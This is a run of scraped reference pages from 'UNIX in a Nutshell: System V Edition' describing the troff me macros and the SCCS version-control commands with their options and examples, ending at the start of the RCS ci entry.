Previous: Reference: .$0 Chapter 15
me Macros 		Next: Reference: .pa

.$n

.$n

These are traps called just before printing section of depth n (n is 1-6). Called from .$p.

Previous: Reference: .$0 | UNIX in a Nutshell: System V Edition | Next: Reference: .pa
Reference: .$0 | Book Index | Reference: .pa
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .pa

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .$n Chapter 15
me Macros 		Next: Reference: .pd

.pa

.pa [±n]

Equivalent to .bp.

Previous: Reference: .$n | UNIX in a Nutshell: System V Edition | Next: Reference: .pd
Reference: .$n | Book Index | Reference: .pd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .pd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .pa Chapter 15
me Macros 		Next: Reference: .pp

.pd

.pd

Print delayed text, indicated by .(d and .)d.

Previous: Reference: .pa | UNIX in a Nutshell: System V Edition | Next: Reference: .pp
Reference: .pa | Book Index | Reference: .pp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .pp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .pd Chapter 15
me Macros 		Next: Reference: .q

.pp

.pp

Begin indented paragraph.

Previous: Reference: .pd | UNIX in a Nutshell: System V Edition | Next: Reference: .q
Reference: .pd | Book Index | Reference: .q
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .q

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .pp Chapter 15
me Macros 		Next: Reference: .(q

.q

.qw x

Surround w with double quotes and x immediately outside quotes.

Previous: Reference: .pp | UNIX in a Nutshell: System V Edition | Next: Reference: .(q
Reference: .pp | Book Index | Reference: .(q
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .(q

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .q Chapter 15
me Macros 		Next: Reference: .)q

.(q

.(q

Begin major quote. End with .)q.

Previous: Reference: .q | UNIX in a Nutshell: System V Edition | Next: Reference: .)q
Reference: .q | Book Index | Reference: .)q
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .)q

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .(q Chapter 15
me Macros 		Next: Reference: .r

.)q

.)q

End major quote started with .(q.

Previous: Reference: .(q | UNIX in a Nutshell: System V Edition | Next: Reference: .r
Reference: .(q | Book Index | Reference: .r
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .r

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .)q Chapter 15
me Macros 		Next: Reference: .rb

.r

.rw x

Set w in roman font and x in previous font.

Previous: Reference: .)q | UNIX in a Nutshell: System V Edition | Next: Reference: .rb
Reference: .)q | Book Index | Reference: .rb
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .rb

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .r Chapter 15
me Macros 		Next: Reference: .re

.rb

.rbw x

Set w in bold and x in previous font.

Previous: Reference: .r | UNIX in a Nutshell: System V Edition | Next: Reference: .re
Reference: .r | Book Index | Reference: .re
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .re

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .rb Chapter 15
me Macros 		Next: Reference: .ro

.re

.re

Reset tabs to every 0.5 inches (in troff) or to every 0.8 inch (in nroff).

Previous: Reference: .rb | UNIX in a Nutshell: System V Edition | Next: Reference: .ro
Reference: .rb | Book Index | Reference: .ro
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .ro

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .re Chapter 15
me Macros 		Next: Reference: .$s

.ro

.ro

Set page number in roman numerals.

Previous: Reference: .re | UNIX in a Nutshell: System V Edition | Next: Reference: .$s
Reference: .re | Book Index | Reference: .$s
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .$s

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .ro Chapter 15
me Macros 		Next: Reference: .sh

.$s

.$s

Separate footnotes with a 1.5-inch horizontal line.

Previous: Reference: .ro | UNIX in a Nutshell: System V Edition | Next: Reference: .sh
Reference: .ro | Book Index | Reference: .sh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .sh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .$s Chapter 15
me Macros 		Next: Reference: .sk

.sh

.sh

Begin numbered section heading.

Previous: Reference: .$s | UNIX in a Nutshell: System V Edition | Next: Reference: .sk
Reference: .$s | Book Index | Reference: .sk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .sk

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .sh Chapter 15
me Macros 		Next: Reference: .sx

.sk

.sk

Leave next page blank. Like the troff .bp request.

Previous: Reference: .sh | UNIX in a Nutshell: System V Edition | Next: Reference: .sx
Reference: .sh | Book Index | Reference: .sx
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .sx

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .sk Chapter 15
me Macros 		Next: Reference: .sz

.sx

.sx +n

Begin a paragraph at level n.

Previous: Reference: .sk | UNIX in a Nutshell: System V Edition | Next: Reference: .sz
Reference: .sk | Book Index | Reference: .sz
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .sz

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .sx Chapter 15
me Macros 		Next: Reference: .TE

.sz

.sz n

Set character point size to n, with line spacing set proportionally.

Previous: Reference: .sx | UNIX in a Nutshell: System V Edition | Next: Reference: .TE
Reference: .sx | Book Index | Reference: .TE
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TE

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .sz Chapter 15
me Macros 		Next: Reference: .TH

.TE

.TE

End table. See .TS.

Previous: Reference: .sz | UNIX in a Nutshell: System V Edition | Next: Reference: .TH
Reference: .sz | Book Index | Reference: .TH
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TH

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TE Chapter 15
me Macros 		Next: Reference: .th

.TH

.TH

End table header. Must be used with a preceding .TS H.

Previous: Reference: .TE | UNIX in a Nutshell: System V Edition | Next: Reference: .th
Reference: .TE | Book Index | Reference: .th
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .th

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TH Chapter 15
me Macros 		Next: Reference: .tp

.th

.th

Initialize for a thesis.

Previous: Reference: .TH | UNIX in a Nutshell: System V Edition | Next: Reference: .tp
Reference: .TH | Book Index | Reference: .tp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .tp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .th Chapter 15
me Macros 		Next: Reference: .TS

.tp

.tp

Initialize for a title page.

Previous: Reference: .th | UNIX in a Nutshell: System V Edition | Next: Reference: .TS
Reference: .th | Book Index | Reference: .TS
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .TS

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .tp Chapter 15
me Macros 		Next: Reference: .u

.TS

.TS [H]

Start table to be processed by tbl. Use H to put a table header on all pages -d table header with .TH). End table with .TE. See Section 16 for more information on tbl.

Previous: Reference: .tp | UNIX in a Nutshell: System V Edition | Next: Reference: .u
Reference: .tp | Book Index | Reference: .u
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .u

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .TS Chapter 15
me Macros 		Next: Reference: .uh

.u

.uw x

Underline w and set x in previous font.

Previous: Reference: .TS | UNIX in a Nutshell: System V Edition | Next: Reference: .uh
Reference: .TS | Book Index | Reference: .uh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .uh

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .u Chapter 15
me Macros 		Next: Reference: .(x

.uh

.uh title

Begin unnumbered section heading using title.

Previous: Reference: .u | UNIX in a Nutshell: System V Edition | Next: Reference: .(x
Reference: .u | Book Index | Reference: .(x
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .(x

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .uh Chapter 15
me Macros 		Next: Reference: .)x

.(x

.(x

Begin index entry. End with .)x.

Previous: Reference: .uh | UNIX in a Nutshell: System V Edition | Next: Reference: .)x
Reference: .uh | Book Index | Reference: .)x
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .)x

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .(x Chapter 15
me Macros 		Next: Reference: .)x_

.)x

.)x

End index entry started with .(x. Print index with .xp.

Previous: Reference: .(x | UNIX in a Nutshell: System V Edition | Next: Reference: .)x_
Reference: .(x | Book Index | Reference: .)x_
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .)x_

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .)x Chapter 15
me Macros 		Next: Reference: .x1

.)x_

.)x_

Omit page number for index.

Previous: Reference: .)x | UNIX in a Nutshell: System V Edition | Next: Reference: .x1
Reference: .)x | Book Index | Reference: .x1
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .x1

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .)x_ Chapter 15
me Macros 		Next: Reference: .xp

.x1

.x1 n

Set the line length to n (current environment only).

Previous: Reference: .)x_ | UNIX in a Nutshell: System V Edition | Next: Reference: .xp
Reference: .)x_ | Book Index | Reference: .xp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .xp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .x1 Chapter 15
me Macros 		Next: Reference: .(z

.xp

.xp

Print index. See also .(x.

Previous: Reference: .x1 | UNIX in a Nutshell: System V Edition | Next: Reference: .(z
Reference: .x1 | Book Index | Reference: .(z
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .(z

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .xp Chapter 15
me Macros 		Next: Reference: .)z

.(z

.(z

Begin floating keep.

Previous: Reference: .xp | UNIX in a Nutshell: System V Edition | Next: Reference: .)z
Reference: .xp | Book Index | Reference: .)z
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .)z

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .(z Chapter 15
me Macros 		Next: Reference: .++

.)z

.)z

End floating keep.

Previous: Reference: .(z | UNIX in a Nutshell: System V Edition | Next: Reference: .++
Reference: .(z | Book Index | Reference: .++
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: .++

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: .)z Chapter 15
me Macros 		Next: 15.1 Alphabetical Summary of me Macros

.++

.++ type header

Define the section of the paper being entered. Specify a type with a header title string.

Type

A

Appendix

AB

Abstract

B

Bibliography

C

Chapter

P

Preliminary section (table of contents, etc.)

RA

Appendix, with page numbers reset to 1

RC

Chapter, with page numbers reset to 1

Previous: Reference: .)z | UNIX in a Nutshell: System V Edition | Next: 15.1 Alphabetical Summary of me Macros
Reference: .)z | Book Index | 15.1 Alphabetical Summary of me Macros
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: admin

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 17.5 Alphabetical Summary of SCCS Commands Chapter 17
The SCCS Utility 		Next: Reference: cdc

admin

admin [options] files

Add files to SCCS or change options of SCCS files.

Options

-a[user|groupid]

Assign user or groupid permission to make deltas; a ! before user or groupid denies permission. If no list is given, anyone has permission.

-dflag

Delete flag previously set with -f. Applicable flags are:

b

Enable the -b option in a get command; this allows branch deltas.

c n

Set highest release to n (default is 9999).

d n

Set get default delta number to n.

f n

Set lowest release to n (default is 1).

i[string]

Treat "No id keywords (ge6)" as a fatal error. string, if present, forces a fatal error if keywords do not exactly match string. Allow multiple concurrent gets.

l list

Releases in list cannot accept changes; use the letter a to specify all releases. Substitute %M% keyword with module name. Create a null delta from which to branch. Substitute %Q% keyword with string.

t type

Substitute %Y% keyword with module type.

v[prog]

Force delta command to prompt for modification request numbers as the reason for creating a delta. Run program file prog to check for valid numbers.

-e[user|groupid]

Permission to make deltas is denied to each user or groupid.

-fflag

Set flag (see -d above).

-h

Check an existing SCCS file for possible corruption.

-i[file]

Create a new SCCS file using the contents of file as the initial delta. If file is omitted, use standard input.

-m[list]

Insert list of modification request numbers as the reason for creating the file.

-n

Create a new SCCS file that is empty.

-rn.n

Set initial delta to release number n.n. Default is 1.1. Must be used with -i.

-t[file]

Replace SCCS file description with contents of file. If file is missing, the existing description is deleted.

-y[text]

Insert text as comment for initial delta (valid only with -i or -n).

-z

Recompute the SCCS file checksum and store in first line.

Previous: 17.5 Alphabetical Summary of SCCS Commands | UNIX in a Nutshell: System V Edition | Next: Reference: cdc
17.5 Alphabetical Summary of SCCS Commands | Book Index | Reference: cdc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cdc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: admin Chapter 17
The SCCS Utility 		Next: Reference: comb

cdc

cdc -rsid [options] files

Change the delta comments of the specified sid (SCCS ID) of one or more SCCS files.

Options

-m[list]

Add the list of modification request numbers (use a ! before any number to delete it). -m is useful only when admin has set the v flag for file. If -m is omitted, the terminal displays MRs? as an input prompt.

-y[string]

Add string to the comments for the specified delta. If -y is omitted, the terminal displays comments? as an input prompt.

Example

For delta 1.3 of file s.prog.c, add modification numbers x01-5 and x02-8 and then add comments:

cdc -r1.3 s.prog.c
MRs? x01-5 x02-8
comments? this went out to review

Previous: Reference: admin | UNIX in a Nutshell: System V Edition | Next: Reference: comb
Reference: admin | Book Index | Reference: comb
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: comb

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cdc Chapter 17
The SCCS Utility 		Next: Reference: delta

comb

comb [options] files

Reduce the size of the specified SCCS files. This is done by pruning selected deltas and combining those that remain, thereby reconstructing the SCCS file. The default behavior prunes all but the most recent delta in a particular branch and keeps only those ancestors needed to preserve the tree structure. comb produces a shell script on standard output. Actual reconstruction of the SCCS files is done by running the script.

Options

-clist

Preserve only those deltas whose SCCS IDs are specified in the comma-separated list. Use a hyphen (-) to supply a range; e.g., 1.3,2.1-2.5.

-o

Access the reconstructed file at the release number of the delta that is created, instead of at the most recent ancestor. This option may change the tree structure.

-psid

In reconstructing file, discard all deltas whose SCCS identification string is older than sid.

-s

Generate a shell script that calculates how much the file has been reduced in size. -s is useful as a preview of what comb will do when actually run.

Previous: Reference: cdc | UNIX in a Nutshell: System V Edition | Next: Reference: delta
Reference: cdc | Book Index | Reference: delta
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: delta

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: comb Chapter 17
The SCCS Utility 		Next: Reference: get

delta

delta [options] files

Incorporate changes (add a delta) to one or more SCCS files. delta is used to store changes made to a text file that was retrieved by get -e and then edited. delta normally removes the text file.

Options

-glist

Ignore deltas whose SCCS IDs (version numbers) are specified in the comma-separated list. Use - to supply a range; e.g., 1.3,2.1-2.5.

-m[list]

Supply a list of modification request numbers as reasons for creating new deltas. -m is useful only when admin has set the v flag for file. If -m is omitted, the terminal displays MRs? as an input prompt.

-n

Do not remove the edited file (extracted by get -e) after execution of delta.

-p

Print a diff-style listing of delta changes to file.

-rSID

Delta version number that identifies file. -r is needed only when more than one version of an SCCS file is being edited simultaneously.

-s

Suppress printing of new SID and other delta information.

-y[string]

Insert string as a comment describing why the delta was made. If -y is omitted, the terminal displays comments? as an input prompt.

Previous: Reference: comb | UNIX in a Nutshell: System V Edition | Next: Reference: get
Reference: comb | Book Index | Reference: get
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: get

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: delta Chapter 17
The SCCS Utility 		Next: Reference: help

get

get [options] files

Retrieve a text version of an SCCS file. The retrieved text file (also called the g-file) has the same name as the SCCS file but drops the s. prefix. For each SCCS file, get prints its version number and the number of lines retrieved. See "Identification Keywords" for a list of keywords that can be placed in text files.

Options

-an

Retrieve delta sequence number n; not very useful (used by comb).

-b

Create new branch (use with -e).

-cdate

Retrieve a version that includes only those changes made before date. date is a series of two-digit numbers indicating the year, followed by an optional month, day, hour, minute, and second. Symbolic characters can be used as field separators.

-e

Retrieve a text file for editing; this is the most commonly used option.

-g

Suppress the text and just retrieve the SCCS ID (version number), typically to check it.

-Gname

Save retrieved text in file name (default is to drop s. prefix). (Solaris 2.0 only.)

-ilist

Incorporate into the retrieved text file any deltas whose SCCS IDs (version numbers) are specified in the comma-separated list. Use a hyphen (-) to supply a range (e.g., 1.3,2.1-2.5).

-k

Do not expand ID keywords to their values; use in place of -e to regenerate (overwrite) a text file that was ruined during editing.

-l[p]

Create a delta summary (saved to a file or, with -lp, displayed on standard output).

-m

Precede each text line with the SCCS ID of the delta it relates to.

-n

Precede each text line with the %M% keyword (typically the name of the text file).

-p

Write retrieved text to standard output instead of to a file.

-rsid

Retrieve SCCS ID (version number) sid.

-s

Suppress normal output (show error messages only).

-t

Retrieve the top (most recent) version of a release.

-wstring

Replace the %W% keyword with string; %W% is the header label used by what.

-xlist

Exclude the list of deltas from the retrieved text file; the inverse of -i.

Examples

Retrieve file prog.c for editing; a subsequent delta creates a branch at version 1.3:

get -e -b -r1.3 s.prog.c

Retrieve file prog.c; contents will exclude changes made after 2:30 p.m. on June 1, 1990 (except for deltas 2.6 and 2.7, which are included):

get -c'90/06/01 14:30:00' -i'2.6,2.7' s.prog.c

Display the contents of s.text.c (all revisions except 1.1 - 1.7):

get -p -x1.1-1.7 s.text.c

Previous: Reference: delta | UNIX in a Nutshell: System V Edition | Next: Reference: help
Reference: delta | Book Index | Reference: help
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: help

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: get Chapter 17
The SCCS Utility 		Next: Reference: prs

help

help [commands | error_codes]

Online help facility to explain SCCS commands or error messages. With no arguments, help prompts for a command name or an error code. To display a brief syntax, supply the SCCS command name. To display an explanation of an error message, supply the code that appears after an SCCS error message. The help files usually reside in /usr/ccs/lib.

Error messages produced by aborted SCCS commands are of the form:

ERROR filename: message (code)

The code is useful for finding out the nature of your error. To do this, type:

help code

Example

When everything else fails, try this:

help stuck

Previous: Reference: get | UNIX in a Nutshell: System V Edition | Next: Reference: prs
Reference: get | Book Index | Reference: prs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: prs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: help Chapter 17
The SCCS Utility 		Next: Reference: rmdel

prs

prs [options] files

Print formatted information for one or more SCCS files.

Options

-a

Include information for removed deltas.

-cdate

Cutoff date used with -e or -l (see get for format of date).

-d[format]

Specify output format by supplying text and/or SCCS keywords. See "Data Keywords" for a list of valid keywords.

-e

With -r, list data for deltas earlier than or including sid; with -c, list data for deltas not newer than date.

-l

Like -e, but later than or including sid or date.

-r[sid]

Specify SCCS ID sid; default is the most recent delta.

Example

The following command:

prs -d"program :M: version :I: by :P:" -r s.yes.c

might produce this output:

program yes.c version 2.4.6 by daniel

Previous: Reference: help | UNIX in a Nutshell: System V Edition | Next: Reference: rmdel
Reference: help | Book Index | Reference: rmdel
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: rmdel

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: prs Chapter 17
The SCCS Utility 		Next: Reference: sact

rmdel

rmdel -r sid files

Remove a delta from one or more SCCS files, where sid is the SCCS ID. The delta must be the most recent in its branch.

Previous: Reference: prs | UNIX in a Nutshell: System V Edition | Next: Reference: sact
Reference: prs | Book Index | Reference: sact
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sact

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: rmdel Chapter 17
The SCCS Utility 		Next: Reference: sccsdiff

sact

sact files

For the specified SCCS files, report which deltas are about to change (i.e., which files are currently being edited via get -e but haven't yet been updated via delta). sact lists output in five fields: SCCS ID of the current delta being edited, SCCS ID of the new delta to create, user who issued the get -e, date and time it was issued.

Previous: Reference: rmdel | UNIX in a Nutshell: System V Edition | Next: Reference: sccsdiff
Reference: rmdel | Book Index | Reference: sccsdiff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: sccsdiff

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sact Chapter 17
The SCCS Utility 		Next: Reference: unget

sccsdiff

sccsdiff -rsid1  -rsid2  [options] files

Report differences between two versions of an SCCS file. sid1 and sid2 identify the deltas to be compared. This command invokes bdiff (which in turn calls diff).

Options

-p

Pipe output through pr.

-sn

Use file segment size n (n is passed to bdiff).

Previous: Reference: sact | UNIX in a Nutshell: System V Edition | Next: Reference: unget
Reference: sact | Book Index | Reference: unget
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: unget

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: sccsdiff Chapter 17
The SCCS Utility 		Next: Reference: val

unget

unget [options] files

Cancel a previous get -e for one or more SCCS files. If a file is being edited via get -e, issuing delta will process the edits (creating a new delta), whereas unget will delete the edited version (preventing a new delta from being made).

Options

-n

Do not remove file retrieved with get -e.

-rsid

The SCCS ID of the delta to cancel; needed only if get -e was issued more than once for the same SCCS file.

-s

Suppress display of the intended delta's sid.

Previous: Reference: sccsdiff | UNIX in a Nutshell: System V Edition | Next: Reference: val
Reference: sccsdiff | Book Index | Reference: val
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: val

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: unget Chapter 17
The SCCS Utility 		Next: Reference: what

val

val [options] files

Validate that the SCCS files meet the characteristics specified in the options. val produces messages on the standard output for each file and returns an 8-bit code upon exit.

Options

-

Read standard input and interpret each line as a val command line argument. Exit with an EOF. This option is used by itself.

-mname

Compare name with %M% keyword in file.

-rsid

Check whether the SCCS ID is ambiguous or invalid.

-s

Silence any error message.

-ytype

Compare type with %Y% keyword in file.

Previous: Reference: unget | UNIX in a Nutshell: System V Edition | Next: Reference: what
Reference: unget | Book Index | Reference: what
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: what

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: val Chapter 17
The SCCS Utility 		Next: 17.5 Alphabetical Summary of SCCS Commands

what

what [option] files

Search files for the pattern @(#) and print the text that follows it. Actually, the pattern searched for is the value of %Z%, but the get command expands this keyword to @(#). The main purpose of what is to print identification strings.

Option

-s

Quit after finding the first occurrence of a pattern.

Previous: Reference: val | UNIX in a Nutshell: System V Edition | Next: 17.5 Alphabetical Summary of SCCS Commands
Reference: val | Book Index | 17.5 Alphabetical Summary of SCCS Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: ci

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 18.5 Alphabetical Summary of Commands Chapter 18
The RCS Utility 		Next: Reference: co

ci

ci [options] files

